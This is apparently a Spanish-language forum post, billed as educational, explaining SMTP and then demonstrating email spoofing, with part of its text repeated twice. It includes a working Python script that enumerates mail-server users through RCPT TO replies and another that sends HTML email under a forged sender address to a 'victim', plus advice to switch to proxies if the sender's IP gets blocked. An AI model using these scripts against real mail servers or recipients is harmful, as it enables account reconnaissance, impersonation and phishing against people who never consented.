Este post tiene como objetivo exponer, con un fin educativo, el funcionamiento del protocolo SMTP y como realizar spoofing.
Protocolo SMTP
Para aparentar ser menos script kiddie vamos a entender un poco lo que estamos haciendo, en primer lugar, según el RFC 5321, el protocolo SMPT (Simple Mail Transfer Protocol) es un protocolo independiente del subsitema de transimisión destinado a transferir correo de manera segura y eficiente (como se aprecia el objetivo de uso del protocolo no es complejo ni ampuloso). Está ubicado en la capa de aplicación del modelo OSI y frecuentemente es acompañado en el proceso de envio con los protocolos POP e IMAP en la recepción. Los puertos más frecuentes suelen ser el 25 y 587.
El protocolo, per se, no añade medidas de seguridad, por ello, realizar spoofing en los correos puede ser bastante fácil si se compara con la criticidad del ataque y sus consecuencias.
Procesamiento
El procesamiento que el correo electrónico sigue, de manera superficial, es el siguiente:
Funcionamiento
El protocolo consta de tres fases principales: MAIL FROM, RCPT TO y DATA.
Ejemplo de envío
Como realmente se aprecia la sencillez del protocolo y sus lagunas de seguridad es en la práctica. Para enviar un correo haré el ejemplo con un cliente y un servidor con el usuario sys. En este caso, estoy utilizando una máquina metasploitable por si quereis recrear lo mismo en una máquina virtual. Con esto ya se podría considerar spoofing.
El envio:
Visto desde la máquina metasploitable:
Enumeración de Usuarios
Con este ejemplo ya se pueden imaginar algunos vectores de ataque al protocolo, puesto que, al recibir una verificación de si el usuario existe se puede crear un script sencillo que enumere los usuarios del sistema o servicio. Por ejemplo, con una maquina metasploitable con smtp en el puerto 25 se pueden enumerar los usuarios sys, admin y root.
Un script en python para enumerar usuarios (no tengo mucha experencia en python si hay cualquier error comentarlo):
Output:
Spoofing
[Debido a las medidas preventivas impuestas para evitar el spoofing el correo llegará a la carpeta de spam. No obstante, se pueden verificar los mecanismo de autenticación de correo (SPF, DKIM, DMARC) mediante técnicas más avanzadas. Además, algunos dominios esyatán bloqueados sin autentificación con DMARC]
Si llevamos todo lo anterior al ámbito del spoofing se puede ejemplificar con un correo desde, por ejemplo, [email protected] hacia un correo gmail.
Para realizar el spoofing es de ayuda programar un script en el lenguaje que prefieras, en este caso, python usando un archivo html para el cuerpo del mensaje (en este caso "hola", no me he complicado mucho xd):
Correo:
Una vez ejecutado el correo será enviado. Si en algún casual os pone que os están restringiendo la IP tirad de proxys o algo.
Un like o retroalimentación en los comentarios se agradece <3
Protocolo SMTP
Para aparentar ser menos script kiddie vamos a entender un poco lo que estamos haciendo, en primer lugar, según el RFC 5321, el protocolo SMPT (Simple Mail Transfer Protocol) es un protocolo independiente del subsitema de transimisión destinado a transferir correo de manera segura y eficiente (como se aprecia el objetivo de uso del protocolo no es complejo ni ampuloso). Está ubicado en la capa de aplicación del modelo OSI y frecuentemente es acompañado en el proceso de envio con los protocolos POP e IMAP en la recepción. Los puertos más frecuentes suelen ser el 25 y 587.
El protocolo, per se, no añade medidas de seguridad, por ello, realizar spoofing en los correos puede ser bastante fácil si se compara con la criticidad del ataque y sus consecuencias.
Procesamiento
El procesamiento que el correo electrónico sigue, de manera superficial, es el siguiente:
- El correo se transmite a su proveedor de correo electrónico a través del agente de usuario de correo (MUA) usando smpt.
- El servidor transmite el correo al servidor del receptor usando smtp.
- Finalmente, el servidor manda el correo al MUA receptor usando IMAP (Internet Message Access Protocol) o POP (Post Office Protocol)
Funcionamiento
El protocolo consta de tres fases principales: MAIL FROM, RCPT TO y DATA.
- MAIL FROM: Es el remitente (Return-Path).
- RCPT TO: Es el destinatario.
- DATA: Es el contenido del mensaje.
Ejemplo de envío
Como realmente se aprecia la sencillez del protocolo y sus lagunas de seguridad es en la práctica. Para enviar un correo haré el ejemplo con un cliente y un servidor con el usuario sys. En este caso, estoy utilizando una máquina metasploitable por si quereis recrear lo mismo en una máquina virtual. Con esto ya se podría considerar spoofing.
El envio:
Visto desde la máquina metasploitable:
Enumeración de Usuarios
Con este ejemplo ya se pueden imaginar algunos vectores de ataque al protocolo, puesto que, al recibir una verificación de si el usuario existe se puede crear un script sencillo que enumere los usuarios del sistema o servicio. Por ejemplo, con una maquina metasploitable con smtp en el puerto 25 se pueden enumerar los usuarios sys, admin y root.
Un script en python para enumerar usuarios (no tengo mucha experencia en python si hay cualquier error comentarlo):
Python:
import sys
import socket
import time
def userrecon(ip, port, user_list):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
data_server = s.recv(1024)
data = b'HELO admin\r\n'
s.send(data)
data_server = s.recv(1024)
data = b'MAIL FROM: <[email protected]>\r\n'
s.send(data)
s.recv(1024)
#PASAR USERS Y COMPROBAR
with open(user_list) as file:
for user in file:
user = user.strip()
data = 'RCPT TO: <' + user + '>\n'
s.send(data.encode())
data_server = s.recv(1024).decode()
if data_server[:3] == '250':
print(f'[*] Usuario Encontrado: {user}\n')
time.sleep(0.2)
s.send(b'QUIT')
s.close()
def main(argv):
if len(argv) == 4:
print(f'\n[*] IP: {argv[1]} | Port: {argv[2]} | User List: {argv[3]}\n')
userrecon(argv[1], argv[2], argv[3])
else:
print(f'\n[X] Uso: python3 {argv[0]} <IP> <PORT>\n')
if __name__ == "__main__":
main(sys.argv)
Output:
Spoofing
[Debido a las medidas preventivas impuestas para evitar el spoofing el correo llegará a la carpeta de spam. No obstante, se pueden verificar los mecanismo de autenticación de correo (SPF, DKIM, DMARC) mediante técnicas más avanzadas. Además, algunos dominios esyatán bloqueados sin autentificación con DMARC]
Si llevamos todo lo anterior al ámbito del spoofing se puede ejemplificar con un correo desde, por ejemplo, [email protected] hacia un correo gmail.
Para realizar el spoofing es de ayuda programar un script en el lenguaje que prefieras, en este caso, python usando un archivo html para el cuerpo del mensaje (en este caso "hola", no me he complicado mucho xd):
Python:
from smtplib import SMTP
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import sys
def send_smtp(server, mensaje_smtp, victima_mail, template, atacante):
with open(template, 'r') as f:
mensaje = f.read().replace('\n', '')
mensaje_smtp.attach(MIMEText(mensaje, "html"))
with SMTP(server, 25) as smtp:
smtp.starttls()
atacante = f'<{atacante}>'
smtp.sendmail(atacante, victima_mail, mensaje_smtp.as_string())
def configure(atacante, asunto):
mensaje_smtp = MIMEMultipart()
mensaje_smtp['Subject'] = asunto
mensaje_smtp['From'] = f"<{atacante}>"
return mensaje_smtp
def main(argv):
if len(argv) == 6:
mensaje_smtp = configure(argv[3],argv[4])
send_smtp(argv[1], mensaje_smtp, argv[2], argv[5], argv[3])
else:
print(len(argv))
print(f"\n[X] Uso: python3 {argv[0]} <server> <mail victima> <correo spoof> <asunto> <template>\n")
if __name__ == "__main__":
main(sys.argv)
Correo:
Una vez ejecutado el correo será enviado. Si en algún casual os pone que os están restringiendo la IP tirad de proxys o algo.
Un like o retroalimentación en los comentarios se agradece <3